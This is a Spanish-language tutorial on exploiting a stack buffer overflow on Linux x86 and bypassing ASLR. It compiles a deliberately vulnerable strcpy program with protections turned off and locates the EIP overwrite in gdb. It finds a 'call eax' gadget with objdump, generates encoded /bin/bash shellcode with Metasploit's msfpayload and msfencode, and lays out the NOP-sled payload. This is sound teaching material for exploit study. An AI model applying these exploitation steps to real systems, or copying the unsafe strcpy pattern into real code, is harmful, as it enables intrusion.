Esta es la tercera parte de una serie de tutoriales para aprender a explotar el buffer en sistemas Linux x86. En el anterior apartado se logro encastrar codigo ejecutable y obtener una shell, pero para lograrlo debimos desactivar previamente ASLR. Como explique anteriormente este sistema de seguridad nos dificulta un poco las cosas randomizando la memoria.

Compilaremos el siguiente codigo que sera usado durante la realizacion de este tutorial.

1
2
3
4
5
6
7
8
9
10
11
12
13

#include <stdio.h>
#include <string.h>

void funcion_vulnerable(char* input)
{
    char buffer[1000];
    strcpy(buffer, input);
}
int main(int argc, char** argv)
{
    funcion_vulnerable(argv[1]);
    return 0;
}

Verificamos que ASLR se encuentra activo.

1
2

cat /proc/sys/kernel/randomize_va_space
2

De otra manera lo activaremos.

1

echo 2 > /proc/sys/kernel/randomize_va_space

Ahora simplemente realizaremos los pasos descriptos en los anteriores capitulos.

Compilamos el code.

1

gcc -o vuln -fno-stack-protector -mpreferred-stack-boundary=2 -ggdb -z execstack vuln.c

Presten atencion al flag -z execstack, esto simplemente vuelve ejecutable el stack ya que NX (Non-Exec) es otra proteccion que al igual que ASLR nos va a romper bastante las pelotas denegandonos la ejecucion de un shellcode en la memoria.

Pero de todas maneras se puede evadir, tema que se tocara en el proximo tuto.

Buscamos la sobrescritura del EIP.

1

r $(python -c 'print "\x41"*1004+"\x42"*4')

Hasta aca todo muy lindo, pero todavia tenemos que saltarnos ASLR.

Una manera de hacer esto es buscando dentro del binario alguna instruccion de llamada o salto (CALL/JMP) a algun registro. Por que si nos basamos en seguir el anterior tutorial donde sobrescribiamos el EIP con una direccion dentro de ESP que aputaba a un NOP Sled+Shellcode, simplemente no va a funcar, por el echo de que la memoria va a cambiar en cada ejecucion.

Esto podemos hacerlo con objdump.

Buscaremos la existencia de alguna instruccion CALL

1

objdump -d vuln|grep call

Perfecto, objdump nos arroja dos direcciones que llaman al registro EAX.

8048387

804840f

Entonces se nos ocurre que si podemos escribir en EAX nuestro shellcode y pintar el EIP con la direccion CALL lograriamos realmente “pintarle la cara a ASLR”.

Bien, hay una parte del buffer en EAX?

1

x/100x $eax

Como se aprecia, logramos tocar el comienzo del registro, ahora solamente nos falta generar el payload.

Ahora si nos apoyaremos en MSF para moldear un Shellcode.

1

msf > msfpayload linux/x86/exec CMD=/bin/bash C

El unico problema que surge, es que si miramos el shellcode, este contiene “badchars”, como por ejemplo la presencia de nullbytes \x00 que nos van a cortar la cadena.

Asi que le pasamos la salida a msfencode para ofuscar un poco el code.

1

msf > msfpayload linux/x86/exec CMD=/bin/bash R|msfencode -a x86 -e x86/alpha_mixed -b 'x\00\x0d\x0a' -t c

Fijense en el flag -b de msfencode y entre comillas la lista de badchars a evadir.

Ahora tenemos el codigo limpio y listo para agregarlo al payload que quedara de la siguiente manera.

Le restamos la longitud del Shellcode al buffer.

1004-152=852

Menos 400 NOPS que iran antes del EIP, quedando el vector de la siguiente manera

NOPS452+Shellcode(152)+NOPS400+EIP (call eax \x87\x83\x04\x08)

Lanzamos el exploit

Logrando esquivar satisfactoriamente ASLR.